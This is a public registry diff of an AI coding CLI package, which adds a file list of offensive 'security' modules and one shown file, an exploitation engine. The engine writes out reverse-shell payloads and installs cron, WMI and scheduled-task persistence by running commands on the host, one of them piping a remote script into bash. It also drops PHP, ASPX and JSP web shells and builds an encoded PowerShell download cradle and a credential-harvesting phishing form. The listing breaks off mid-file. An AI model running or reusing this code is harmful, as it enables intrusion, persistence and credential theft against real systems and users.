erosolar-cli 1.5.2 → 1.5.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (346) hide show
  1. package/config/security-deployment.json +54 -0
  2. package/dist/bin/adapters/node/index.js +33 -0
  3. package/dist/bin/adapters/types.js +1 -0
  4. package/dist/bin/alpha-zero/agentWrapper.js +165 -0
  5. package/dist/bin/alpha-zero/codeEvaluator.js +272 -0
  6. package/dist/bin/alpha-zero/competitiveRunner.js +219 -0
  7. package/dist/bin/alpha-zero/index.js +98 -0
  8. package/dist/bin/alpha-zero/introspection.js +298 -0
  9. package/dist/bin/alpha-zero/metricsTracker.js +207 -0
  10. package/dist/bin/alpha-zero/security/core.js +269 -0
  11. package/dist/bin/alpha-zero/security/google.js +308 -0
  12. package/dist/bin/alpha-zero/security/googleLoader.js +40 -0
  13. package/dist/bin/alpha-zero/security/index.js +31 -0
  14. package/dist/bin/alpha-zero/security/simulation.js +274 -0
  15. package/dist/bin/alpha-zero/selfModification.js +231 -0
  16. package/dist/bin/alpha-zero/types.js +30 -0
  17. package/dist/bin/bin/erosolar-optimized.js +205 -0
  18. package/dist/bin/capabilities/agentSpawningCapability.js +116 -0
  19. package/dist/bin/capabilities/bashCapability.js +22 -0
  20. package/dist/bin/capabilities/cloudCapability.js +36 -0
  21. package/dist/bin/capabilities/codeAnalysisCapability.js +22 -0
  22. package/dist/bin/capabilities/codeQualityCapability.js +23 -0
  23. package/dist/bin/capabilities/dependencySecurityCapability.js +22 -0
  24. package/dist/bin/capabilities/devCapability.js +22 -0
  25. package/dist/bin/capabilities/editCapability.js +28 -0
  26. package/dist/bin/capabilities/emailCapability.js +20 -0
  27. package/dist/bin/capabilities/enhancedGitCapability.js +221 -0
  28. package/dist/bin/capabilities/filesystemCapability.js +22 -0
  29. package/dist/bin/capabilities/globCapability.js +28 -0
  30. package/dist/bin/capabilities/interactionCapability.js +20 -0
  31. package/dist/bin/capabilities/learnCapability.js +22 -0
  32. package/dist/bin/capabilities/mcpCapability.js +20 -0
  33. package/dist/bin/capabilities/notebookCapability.js +28 -0
  34. package/dist/bin/capabilities/planningCapability.js +27 -0
  35. package/dist/bin/capabilities/refactoringCapability.js +23 -0
  36. package/dist/bin/capabilities/repoChecksCapability.js +22 -0
  37. package/dist/bin/capabilities/searchCapability.js +22 -0
  38. package/dist/bin/capabilities/skillCapability.js +76 -0
  39. package/dist/bin/capabilities/taskManagementCapability.js +20 -0
  40. package/dist/bin/capabilities/testingCapability.js +23 -0
  41. package/dist/bin/capabilities/toolManifest.js +159 -0
  42. package/dist/bin/capabilities/toolRegistry.js +114 -0
  43. package/dist/bin/capabilities/webCapability.js +20 -0
  44. package/dist/bin/config.js +139 -0
  45. package/dist/bin/contracts/v1/agent.js +7 -0
  46. package/dist/bin/contracts/v1/agentProfileManifest.js +8 -0
  47. package/dist/bin/contracts/v1/agentRules.js +9 -0
  48. package/dist/bin/contracts/v1/toolAccess.js +8 -0
  49. package/dist/bin/core/agent.js +362 -0
  50. package/dist/bin/core/agentProfileManifest.js +187 -0
  51. package/dist/bin/core/agentProfiles.js +34 -0
  52. package/dist/bin/core/agentRulebook.js +135 -0
  53. package/dist/bin/core/agentSchemaLoader.js +233 -0
  54. package/dist/bin/core/contextManager.js +412 -0
  55. package/dist/bin/core/contextWindow.js +122 -0
  56. package/dist/bin/core/customCommands.js +80 -0
  57. package/dist/bin/core/errors/apiKeyErrors.js +114 -0
  58. package/dist/bin/core/errors/errorTypes.js +340 -0
  59. package/dist/bin/core/errors/safetyValidator.js +304 -0
  60. package/dist/bin/core/errors.js +32 -0
  61. package/dist/bin/core/modelDiscovery.js +755 -0
  62. package/dist/bin/core/preferences.js +224 -0
  63. package/dist/bin/core/schemaValidator.js +92 -0
  64. package/dist/bin/core/secretStore.js +199 -0
  65. package/dist/bin/core/sessionStore.js +187 -0
  66. package/dist/bin/core/toolRuntime.js +290 -0
  67. package/dist/bin/core/types.js +1 -0
  68. package/dist/bin/erosolar-optimized.d.ts +12 -0
  69. package/dist/bin/erosolar-optimized.d.ts.map +1 -0
  70. package/dist/bin/erosolar-optimized.js +239 -0
  71. package/dist/bin/erosolar-optimized.js.map +1 -0
  72. package/dist/bin/erosolar.js +14 -0
  73. package/dist/bin/erosolar.js.map +1 -1
  74. package/dist/bin/headless/headlessApp.js +172 -0
  75. package/dist/bin/mcp/config.js +202 -0
  76. package/dist/bin/mcp/stdioClient.js +172 -0
  77. package/dist/bin/mcp/toolBridge.js +104 -0
  78. package/dist/bin/mcp/types.js +1 -0
  79. package/dist/bin/plugins/index.js +113 -0
  80. package/dist/bin/plugins/providers/anthropic/index.js +25 -0
  81. package/dist/bin/plugins/providers/deepseek/index.js +24 -0
  82. package/dist/bin/plugins/providers/google/index.js +26 -0
  83. package/dist/bin/plugins/providers/index.js +19 -0
  84. package/dist/bin/plugins/providers/ollama/index.js +59 -0
  85. package/dist/bin/plugins/providers/openai/index.js +26 -0
  86. package/dist/bin/plugins/providers/xai/index.js +24 -0
  87. package/dist/bin/plugins/tools/agentSpawning/agentSpawningPlugin.js +8 -0
  88. package/dist/bin/plugins/tools/bash/localBashPlugin.js +13 -0
  89. package/dist/bin/plugins/tools/checks/localRepoChecksPlugin.js +13 -0
  90. package/dist/bin/plugins/tools/cloud/cloudPlugin.js +13 -0
  91. package/dist/bin/plugins/tools/codeAnalysis/codeAnalysisPlugin.js +13 -0
  92. package/dist/bin/plugins/tools/codeQuality/codeQualityPlugin.js +13 -0
  93. package/dist/bin/plugins/tools/dependency/dependencyPlugin.js +11 -0
  94. package/dist/bin/plugins/tools/development/devPlugin.js +13 -0
  95. package/dist/bin/plugins/tools/edit/editPlugin.js +14 -0
  96. package/dist/bin/plugins/tools/email/emailPlugin.js +11 -0
  97. package/dist/bin/plugins/tools/enhancedGit/enhancedGitPlugin.js +8 -0
  98. package/dist/bin/plugins/tools/filesystem/localFilesystemPlugin.js +13 -0
  99. package/dist/bin/plugins/tools/glob/globPlugin.js +14 -0
  100. package/dist/bin/plugins/tools/index.js +2 -0
  101. package/dist/bin/plugins/tools/interaction/interactionPlugin.js +11 -0
  102. package/dist/bin/plugins/tools/learn/learnPlugin.js +13 -0
  103. package/dist/bin/plugins/tools/mcp/mcpPlugin.js +8 -0
  104. package/dist/bin/plugins/tools/nodeDefaults.js +56 -0
  105. package/dist/bin/plugins/tools/notebook/notebookPlugin.js +14 -0
  106. package/dist/bin/plugins/tools/planning/planningPlugin.js +14 -0
  107. package/dist/bin/plugins/tools/refactoring/refactoringPlugin.js +11 -0
  108. package/dist/bin/plugins/tools/registry.js +57 -0
  109. package/dist/bin/plugins/tools/search/localSearchPlugin.js +13 -0
  110. package/dist/bin/plugins/tools/skills/skillPlugin.js +8 -0
  111. package/dist/bin/plugins/tools/taskManagement/taskManagementPlugin.js +11 -0
  112. package/dist/bin/plugins/tools/testing/testingPlugin.js +11 -0
  113. package/dist/bin/plugins/tools/web/webPlugin.js +11 -0
  114. package/dist/bin/providers/anthropicProvider.js +329 -0
  115. package/dist/bin/providers/googleProvider.js +203 -0
  116. package/dist/bin/providers/openaiChatCompletionsProvider.js +208 -0
  117. package/dist/bin/providers/openaiResponsesProvider.js +249 -0
  118. package/dist/bin/providers/providerFactory.js +24 -0
  119. package/dist/bin/runtime/agentController.js +321 -0
  120. package/dist/bin/runtime/agentHost.js +153 -0
  121. package/dist/bin/runtime/agentSession.js +195 -0
  122. package/dist/bin/runtime/node.js +10 -0
  123. package/dist/bin/runtime/universal.js +28 -0
  124. package/dist/bin/shell/bracketedPasteManager.js +350 -0
  125. package/dist/bin/shell/fileChangeTracker.js +65 -0
  126. package/dist/bin/shell/interactiveShell.js +2908 -0
  127. package/dist/bin/shell/liveStatus.js +78 -0
  128. package/dist/bin/shell/shellApp.js +290 -0
  129. package/dist/bin/shell/systemPrompt.js +60 -0
  130. package/dist/bin/shell/updateManager.js +108 -0
  131. package/dist/bin/skills/skillRepository.js +236 -0
  132. package/dist/bin/skills/types.js +1 -0
  133. package/dist/bin/subagents/taskRunner.js +269 -0
  134. package/dist/bin/tools/backgroundBashTools.js +211 -0
  135. package/dist/bin/tools/bashTools.js +159 -0
  136. package/dist/bin/tools/cloudTools.js +864 -0
  137. package/dist/bin/tools/codeAnalysisTools.js +641 -0
  138. package/dist/bin/tools/codeQualityTools.js +294 -0
  139. package/dist/bin/tools/dependencyTools.js +282 -0
  140. package/dist/bin/tools/devTools.js +238 -0
  141. package/dist/bin/tools/diffUtils.js +137 -0
  142. package/dist/bin/tools/editTools.js +134 -0
  143. package/dist/bin/tools/emailTools.js +448 -0
  144. package/dist/bin/tools/fileTools.js +282 -0
  145. package/dist/bin/tools/globTools.js +173 -0
  146. package/dist/bin/tools/grepTools.js +332 -0
  147. package/dist/bin/tools/interactionTools.js +170 -0
  148. package/dist/bin/tools/learnTools.js +1818 -0
  149. package/dist/bin/tools/notebookEditTools.js +196 -0
  150. package/dist/bin/tools/planningTools.js +46 -0
  151. package/dist/bin/tools/refactoringTools.js +293 -0
  152. package/dist/bin/tools/repoChecksTools.js +160 -0
  153. package/dist/bin/tools/searchTools.js +206 -0
  154. package/dist/bin/tools/skillTools.js +177 -0
  155. package/dist/bin/tools/taskManagementTools.js +156 -0
  156. package/dist/bin/tools/testingTools.js +232 -0
  157. package/dist/bin/tools/webTools.js +480 -0
  158. package/dist/bin/ui/ShellUIAdapter.js +459 -0
  159. package/dist/bin/ui/UnifiedUIController.js +183 -0
  160. package/dist/bin/ui/animation/AnimationScheduler.js +430 -0
  161. package/dist/bin/ui/codeHighlighter.js +854 -0
  162. package/dist/bin/ui/designSystem.js +121 -0
  163. package/dist/bin/ui/display.js +1222 -0
  164. package/dist/bin/ui/interrupts/InterruptManager.js +437 -0
  165. package/dist/bin/ui/layout.js +139 -0
  166. package/dist/bin/ui/orchestration/StatusOrchestrator.js +403 -0
  167. package/dist/bin/ui/outputMode.js +38 -0
  168. package/dist/bin/ui/persistentPrompt.js +183 -0
  169. package/dist/bin/ui/richText.js +338 -0
  170. package/dist/bin/ui/shortcutsHelp.js +87 -0
  171. package/dist/bin/ui/telemetry/UITelemetry.js +443 -0
  172. package/dist/bin/ui/textHighlighter.js +210 -0
  173. package/dist/bin/ui/theme.js +116 -0
  174. package/dist/bin/ui/toolDisplay.js +423 -0
  175. package/dist/bin/ui/toolDisplayAdapter.js +357 -0
  176. package/dist/bin/workspace.js +106 -0
  177. package/dist/bin/workspace.validator.js +213 -0
  178. package/dist/capabilities/cloudCapability.d.ts +13 -0
  179. package/dist/capabilities/cloudCapability.d.ts.map +1 -0
  180. package/dist/capabilities/cloudCapability.js +38 -0
  181. package/dist/capabilities/cloudCapability.js.map +1 -0
  182. package/dist/capabilities/index.d.ts +1 -0
  183. package/dist/capabilities/index.d.ts.map +1 -1
  184. package/dist/capabilities/index.js +1 -0
  185. package/dist/capabilities/index.js.map +1 -1
  186. package/dist/capabilities/offensiveSecurityCapability.d.ts +26 -0
  187. package/dist/capabilities/offensiveSecurityCapability.d.ts.map +1 -0
  188. package/dist/capabilities/offensiveSecurityCapability.js +58 -0
  189. package/dist/capabilities/offensiveSecurityCapability.js.map +1 -0
  190. package/dist/capabilities/realSecurityCapability.d.ts +26 -0
  191. package/dist/capabilities/realSecurityCapability.d.ts.map +1 -0
  192. package/dist/capabilities/realSecurityCapability.js +53 -0
  193. package/dist/capabilities/realSecurityCapability.js.map +1 -0
  194. package/dist/capabilities/securityCapability.d.ts +32 -0
  195. package/dist/capabilities/securityCapability.d.ts.map +1 -0
  196. package/dist/capabilities/securityCapability.js +57 -0
  197. package/dist/capabilities/securityCapability.js.map +1 -0
  198. package/dist/capabilities/ultimateSecurityCapability.d.ts +42 -0
  199. package/dist/capabilities/ultimateSecurityCapability.d.ts.map +1 -0
  200. package/dist/capabilities/ultimateSecurityCapability.js +96 -0
  201. package/dist/capabilities/ultimateSecurityCapability.js.map +1 -0
  202. package/dist/core/LazyLoader.d.ts +129 -0
  203. package/dist/core/LazyLoader.d.ts.map +1 -0
  204. package/dist/core/LazyLoader.js +240 -0
  205. package/dist/core/LazyLoader.js.map +1 -0
  206. package/dist/core/intelligenceTools.d.ts +19 -0
  207. package/dist/core/intelligenceTools.d.ts.map +1 -0
  208. package/dist/core/intelligenceTools.js +453 -0
  209. package/dist/core/intelligenceTools.js.map +1 -0
  210. package/dist/core/operationalTools.d.ts +19 -0
  211. package/dist/core/operationalTools.d.ts.map +1 -0
  212. package/dist/core/operationalTools.js +467 -0
  213. package/dist/core/operationalTools.js.map +1 -0
  214. package/dist/offensive/core/offensive-engine.d.ts +171 -0
  215. package/dist/offensive/core/offensive-engine.d.ts.map +1 -0
  216. package/dist/offensive/core/offensive-engine.js +345 -0
  217. package/dist/offensive/core/offensive-engine.js.map +1 -0
  218. package/dist/offensive/core/offensive-integration.d.ts +129 -0
  219. package/dist/offensive/core/offensive-integration.d.ts.map +1 -0
  220. package/dist/offensive/core/offensive-integration.js +364 -0
  221. package/dist/offensive/core/offensive-integration.js.map +1 -0
  222. package/dist/offensive/core/offensive-tools.d.ts +55 -0
  223. package/dist/offensive/core/offensive-tools.d.ts.map +1 -0
  224. package/dist/offensive/core/offensive-tools.js +438 -0
  225. package/dist/offensive/core/offensive-tools.js.map +1 -0
  226. package/dist/offensive/offensive-cli.d.ts +48 -0
  227. package/dist/offensive/offensive-cli.d.ts.map +1 -0
  228. package/dist/offensive/offensive-cli.js +233 -0
  229. package/dist/offensive/offensive-cli.js.map +1 -0
  230. package/dist/plugins/index.d.ts +1 -1
  231. package/dist/plugins/index.d.ts.map +1 -1
  232. package/dist/plugins/index.js +2 -0
  233. package/dist/plugins/index.js.map +1 -1
  234. package/dist/plugins/tools/cloud/cloudPlugin.d.ts +3 -0
  235. package/dist/plugins/tools/cloud/cloudPlugin.d.ts.map +1 -0
  236. package/dist/plugins/tools/cloud/cloudPlugin.js +14 -0
  237. package/dist/plugins/tools/cloud/cloudPlugin.js.map +1 -0
  238. package/dist/plugins/tools/nodeDefaults.d.ts.map +1 -1
  239. package/dist/plugins/tools/nodeDefaults.js +2 -0
  240. package/dist/plugins/tools/nodeDefaults.js.map +1 -1
  241. package/dist/security/advanced-persistence-research.d.ts +92 -0
  242. package/dist/security/advanced-persistence-research.d.ts.map +1 -0
  243. package/dist/security/advanced-persistence-research.js +195 -0
  244. package/dist/security/advanced-persistence-research.js.map +1 -0
  245. package/dist/security/apt-simulation-cli.d.ts +57 -0
  246. package/dist/security/apt-simulation-cli.d.ts.map +1 -0
  247. package/dist/security/apt-simulation-cli.js +278 -0
  248. package/dist/security/apt-simulation-cli.js.map +1 -0
  249. package/dist/security/apt-simulation-engine-complete.d.ts +97 -0
  250. package/dist/security/apt-simulation-engine-complete.d.ts.map +1 -0
  251. package/dist/security/apt-simulation-engine-complete.js +441 -0
  252. package/dist/security/apt-simulation-engine-complete.js.map +1 -0
  253. package/dist/security/apt-simulation-engine.d.ts +97 -0
  254. package/dist/security/apt-simulation-engine.d.ts.map +1 -0
  255. package/dist/security/apt-simulation-engine.js +441 -0
  256. package/dist/security/apt-simulation-engine.js.map +1 -0
  257. package/dist/security/assessment/vulnerabilityAssessment.d.ts +104 -0
  258. package/dist/security/assessment/vulnerabilityAssessment.d.ts.map +1 -0
  259. package/dist/security/assessment/vulnerabilityAssessment.js +315 -0
  260. package/dist/security/assessment/vulnerabilityAssessment.js.map +1 -0
  261. package/dist/security/authorization/securityAuthorization.d.ts +88 -0
  262. package/dist/security/authorization/securityAuthorization.d.ts.map +1 -0
  263. package/dist/security/authorization/securityAuthorization.js +172 -0
  264. package/dist/security/authorization/securityAuthorization.js.map +1 -0
  265. package/dist/security/authorization.d.ts +45 -0
  266. package/dist/security/authorization.d.ts.map +1 -0
  267. package/dist/security/authorization.js +128 -0
  268. package/dist/security/authorization.js.map +1 -0
  269. package/dist/security/comprehensive-security-research.d.ts +84 -0
  270. package/dist/security/comprehensive-security-research.d.ts.map +1 -0
  271. package/dist/security/comprehensive-security-research.js +211 -0
  272. package/dist/security/comprehensive-security-research.js.map +1 -0
  273. package/dist/security/offensive/exploitationEngine.d.ts +54 -0
  274. package/dist/security/offensive/exploitationEngine.d.ts.map +1 -0
  275. package/dist/security/offensive/exploitationEngine.js +263 -0
  276. package/dist/security/offensive/exploitationEngine.js.map +1 -0
  277. package/dist/security/persistence-analyzer.d.ts +56 -0
  278. package/dist/security/persistence-analyzer.d.ts.map +1 -0
  279. package/dist/security/persistence-analyzer.js +187 -0
  280. package/dist/security/persistence-analyzer.js.map +1 -0
  281. package/dist/security/persistence-cli.d.ts +36 -0
  282. package/dist/security/persistence-cli.d.ts.map +1 -0
  283. package/dist/security/persistence-cli.js +160 -0
  284. package/dist/security/persistence-cli.js.map +1 -0
  285. package/dist/security/persistence-research.d.ts +100 -0
  286. package/dist/security/persistence-research.d.ts.map +1 -0
  287. package/dist/security/persistence-research.js +372 -0
  288. package/dist/security/persistence-research.js.map +1 -0
  289. package/dist/security/real/networkExploitation.d.ts +92 -0
  290. package/dist/security/real/networkExploitation.d.ts.map +1 -0
  291. package/dist/security/real/networkExploitation.js +316 -0
  292. package/dist/security/real/networkExploitation.js.map +1 -0
  293. package/dist/security/real/persistenceImplementation.d.ts +62 -0
  294. package/dist/security/real/persistenceImplementation.d.ts.map +1 -0
  295. package/dist/security/real/persistenceImplementation.js +323 -0
  296. package/dist/security/real/persistenceImplementation.js.map +1 -0
  297. package/dist/security/real/vulnerabilityScanner.d.ts +73 -0
  298. package/dist/security/real/vulnerabilityScanner.d.ts.map +1 -0
  299. package/dist/security/real/vulnerabilityScanner.js +341 -0
  300. package/dist/security/real/vulnerabilityScanner.js.map +1 -0
  301. package/dist/security/research/persistenceResearch.d.ts +97 -0
  302. package/dist/security/research/persistenceResearch.d.ts.map +1 -0
  303. package/dist/security/research/persistenceResearch.js +282 -0
  304. package/dist/security/research/persistenceResearch.js.map +1 -0
  305. package/dist/security/security-testing-framework.d.ts +120 -0
  306. package/dist/security/security-testing-framework.d.ts.map +1 -0
  307. package/dist/security/security-testing-framework.js +372 -0
  308. package/dist/security/security-testing-framework.js.map +1 -0
  309. package/dist/security/simulation/attackSimulation.d.ts +93 -0
  310. package/dist/security/simulation/attackSimulation.d.ts.map +1 -0
  311. package/dist/security/simulation/attackSimulation.js +341 -0
  312. package/dist/security/simulation/attackSimulation.js.map +1 -0
  313. package/dist/shell/bracketedPasteManager.d.ts +76 -0
  314. package/dist/shell/bracketedPasteManager.d.ts.map +1 -1
  315. package/dist/shell/bracketedPasteManager.js +267 -9
  316. package/dist/shell/bracketedPasteManager.js.map +1 -1
  317. package/dist/shell/interactiveShell.d.ts +34 -1
  318. package/dist/shell/interactiveShell.d.ts.map +1 -1
  319. package/dist/shell/interactiveShell.js +304 -24
  320. package/dist/shell/interactiveShell.js.map +1 -1
  321. package/dist/shell/taskCompletionDetector.d.ts +101 -0
  322. package/dist/shell/taskCompletionDetector.d.ts.map +1 -0
  323. package/dist/shell/taskCompletionDetector.js +343 -0
  324. package/dist/shell/taskCompletionDetector.js.map +1 -0
  325. package/dist/tools/cloudTools.d.ts +57 -0
  326. package/dist/tools/cloudTools.d.ts.map +1 -0
  327. package/dist/tools/cloudTools.js +865 -0
  328. package/dist/tools/cloudTools.js.map +1 -0
  329. package/dist/tools/enhancedSecurityTools.d.ts +19 -0
  330. package/dist/tools/enhancedSecurityTools.d.ts.map +1 -0
  331. package/dist/tools/enhancedSecurityTools.js +215 -0
  332. package/dist/tools/enhancedSecurityTools.js.map +1 -0
  333. package/dist/tools/offensiveSecurityTools.d.ts +16 -0
  334. package/dist/tools/offensiveSecurityTools.d.ts.map +1 -0
  335. package/dist/tools/offensiveSecurityTools.js +285 -0
  336. package/dist/tools/offensiveSecurityTools.js.map +1 -0
  337. package/dist/tools/realSecurityTools.d.ts +18 -0
  338. package/dist/tools/realSecurityTools.d.ts.map +1 -0
  339. package/dist/tools/realSecurityTools.js +468 -0
  340. package/dist/tools/realSecurityTools.js.map +1 -0
  341. package/dist/tools/securityTools.d.ts +20 -0
  342. package/dist/tools/securityTools.d.ts.map +1 -0
  343. package/dist/tools/securityTools.js +449 -0
  344. package/dist/tools/securityTools.js.map +1 -0
  345. package/package.json +27 -12
  346. package/scripts/deploy-security-capabilities.js +178 -0
@@ -0,0 +1,263 @@
1
+ /**
2
+ * Offensive Exploitation Engine
3
+ *
4
+ * Advanced exploitation capabilities for security testing.
5
+ */
6
+ import { execSync } from 'child_process';
7
+ import { writeFileSync } from 'fs';
8
+ import { platform } from 'os';
9
+ /**
10
+ * Offensive Exploitation Engine
11
+ */
12
+ export class OffensiveExploitationEngine {
13
+ /**
14
+ * Generate reverse shell payloads
15
+ */
16
+ generateReverseShell(target, port) {
17
+ const payloads = [];
18
+ // Bash reverse shell
19
+ payloads.push({
20
+ type: 'bash-reverse-shell',
21
+ platform: 'linux',
22
+ content: `bash -i >& /dev/tcp/${target}/${port} 0>&1`
23
+ });
24
+ // PowerShell reverse shell
25
+ payloads.push({
26
+ type: 'powershell-reverse-shell',
27
+ platform: 'windows',
28
+ content: `$client = New-Object System.Net.Sockets.TCPClient('${target}',${port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()`
29
+ });
30
+ // Python reverse shell
31
+ payloads.push({
32
+ type: 'python-reverse-shell',
33
+ platform: 'cross-platform',
34
+ content: `import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('${target}',${port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);`
35
+ });
36
+ // Netcat reverse shell
37
+ payloads.push({
38
+ type: 'netcat-reverse-shell',
39
+ platform: 'linux',
40
+ content: `nc -e /bin/sh ${target} ${port}`
41
+ });
42
+ return payloads;
43
+ }
44
+ /**
45
+ * Create fileless persistence
46
+ */
47
+ async createFilelessPersistence() {
48
+ try {
49
+ const currentPlatform = platform();
50
+ if (currentPlatform === 'win32') {
51
+ // Windows WMI event subscription
52
+ const wmiScript = `$FilterArgs = @{Name='TestFilter'; EventNameSpace='root\\cimv2'; QueryLanguage='WQL'; Query='SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name=\"explorer.exe\"'}; $Filter=Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $FilterArgs; $ConsumerArgs = @{Name='TestConsumer'; CommandLineTemplate='cmd.exe /c echo persistence > C:\\temp\\test.txt'}; $Consumer=Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $ConsumerArgs; $BindingArgs = @{Filter=$Filter; Consumer=$Consumer}; $Binding=Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $BindingArgs`;
53
+ execSync(`powershell -Command "${wmiScript}"`, { stdio: 'pipe' });
54
+ return {
55
+ success: true,
56
+ output: 'WMI event subscription created for fileless persistence',
57
+ evidence: 'WMI event filter and consumer created',
58
+ technique: 'wmi-event-subscription'
59
+ };
60
+ }
61
+ else {
62
+ // Linux memory execution via cron
63
+ const cronEntry = `* * * * * curl -s http://example.com/malicious.sh | bash -s`;
64
+ execSync(`(crontab -l 2>/dev/null; echo "${cronEntry}") | crontab -`, { stdio: 'pipe' });
65
+ return {
66
+ success: true,
67
+ output: 'Fileless persistence via cron created',
68
+ evidence: 'Cron job added for memory execution',
69
+ technique: 'cron-memory-execution'
70
+ };
71
+ }
72
+ }
73
+ catch (error) {
74
+ return {
75
+ success: false,
76
+ output: `Fileless persistence failed: ${error}`,
77
+ evidence: '',
78
+ technique: 'fileless-persistence'
79
+ };
80
+ }
81
+ }
82
+ /**
83
+ * Deploy web shell
84
+ */
85
+ async deployWebShell(targetPath, password = 'pass123') {
86
+ try {
87
+ // PHP web shell
88
+ const phpWebShell = `<?php if(isset($_POST['${password}'])){system($_POST['${password}']);}?>`;
89
+ // ASP web shell
90
+ const aspWebShell = `<%@ Page Language="C#" %><%@ Import Namespace="System.Diagnostics" %><script runat="server">void Page_Load(object sender, EventArgs e){if(Request.Form["${password}"] != null){Process.Start("cmd.exe", "/c " + Request.Form["${password}"]);}}</script>`;
91
+ // JSP web shell
92
+ const jspWebShell = `<%@ page import="java.util.*,java.io.*"%><% if (request.getParameter("${password}") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("${password}")); } %>`;
93
+ // Write web shell
94
+ writeFileSync(`${targetPath}/shell.php`, phpWebShell);
95
+ writeFileSync(`${targetPath}/shell.aspx`, aspWebShell);
96
+ writeFileSync(`${targetPath}/shell.jsp`, jspWebShell);
97
+ return {
98
+ success: true,
99
+ output: 'Multiple web shells deployed',
100
+ evidence: `Web shells created at ${targetPath}`,
101
+ technique: 'web-shell-deployment'
102
+ };
103
+ }
104
+ catch (error) {
105
+ return {
106
+ success: false,
107
+ output: `Web shell deployment failed: ${error}`,
108
+ evidence: '',
109
+ technique: 'web-shell-deployment'
110
+ };
111
+ }
112
+ }
113
+ /**
114
+ * Create persistence via scheduled tasks
115
+ */
116
+ async createScheduledPersistence() {
117
+ try {
118
+ const currentPlatform = platform();
119
+ if (currentPlatform === 'win32') {
120
+ // Windows scheduled task
121
+ const taskCommand = `schtasks /create /tn "SystemUpdate" /tr "cmd.exe /c echo persistence > C:\\temp\\persistence.txt" /sc minute /mo 1`;
122
+ execSync(taskCommand, { stdio: 'pipe' });
123
+ return {
124
+ success: true,
125
+ output: 'Scheduled task created for persistence',
126
+ evidence: 'SystemUpdate task created',
127
+ technique: 'scheduled-task-persistence'
128
+ };
129
+ }
130
+ else {
131
+ // Linux at job
132
+ const atCommand = `echo 'echo "persistence" > /tmp/persistence.txt' | at now + 1 minute`;
133
+ execSync(atCommand, { stdio: 'pipe' });
134
+ return {
135
+ success: true,
136
+ output: 'At job created for persistence',
137
+ evidence: 'At job scheduled',
138
+ technique: 'at-job-persistence'
139
+ };
140
+ }
141
+ }
142
+ catch (error) {
143
+ return {
144
+ success: false,
145
+ output: `Scheduled persistence failed: ${error}`,
146
+ evidence: '',
147
+ technique: 'scheduled-persistence'
148
+ };
149
+ }
150
+ }
151
+ /**
152
+ * Generate obfuscated payloads
153
+ */
154
+ generateObfuscatedPayloads() {
155
+ const payloads = [];
156
+ // Base64 encoded PowerShell
157
+ const base64PowerShell = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AZQB4AGEAbQBwAGwAZQAuAGMAbwBtAC8AcABhAHkAbABvAGEAZAAuAHAAcwAxACcAKQA=';
158
+ payloads.push({
159
+ type: 'base64-powershell',
160
+ platform: 'windows',
161
+ content: `powershell -EncodedCommand ${base64PowerShell}`
162
+ });
163
+ // XOR encoded shellcode
164
+ const xorShellcode = '\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a';
165
+ payloads.push({
166
+ type: 'xor-shellcode',
167
+ platform: 'linux',
168
+ content: `echo -ne '${xorShellcode}' > /tmp/shellcode.bin`
169
+ });
170
+ // JavaScript obfuscation
171
+ const obfuscatedJS = `eval(String.fromCharCode(97,108,101,114,116,40,34,88,83,83,34,41))`;
172
+ payloads.push({
173
+ type: 'obfuscated-js',
174
+ platform: 'cross-platform',
175
+ content: obfuscatedJS
176
+ });
177
+ return payloads;
178
+ }
179
+ /**
180
+ * Create DNS tunneling setup
181
+ */
182
+ async setupDnsTunneling(domain) {
183
+ try {
184
+ // Create DNS tunneling configuration
185
+ const dnsConfig = `server=8.8.8.8\naddress=/${domain}/127.0.0.1`;
186
+ writeFileSync('/tmp/dnsmasq.conf', dnsConfig);
187
+ return {
188
+ success: true,
189
+ output: 'DNS tunneling configuration created',
190
+ evidence: `DNS config for domain ${domain}`,
191
+ technique: 'dns-tunneling'
192
+ };
193
+ }
194
+ catch (error) {
195
+ return {
196
+ success: false,
197
+ output: `DNS tunneling setup failed: ${error}`,
198
+ evidence: '',
199
+ technique: 'dns-tunneling'
200
+ };
201
+ }
202
+ }
203
+ /**
204
+ * Generate phishing templates
205
+ */
206
+ generatePhishingTemplates() {
207
+ const templates = [];
208
+ // Office 365 phishing
209
+ const office365Template = `<!DOCTYPE html><html><body><form action="http://malicious.com/collect" method="post"><input type="email" name="username" placeholder="Email"><input type="password" name="password" placeholder="Password"><button>Sign In</button></form></body></html>`;
210
+ templates.push({
211
+ type: 'office365-phishing',
212
+ platform: 'web',
213
+ content: office365Template
214
+ });
215
+ // Gmail phishing
216
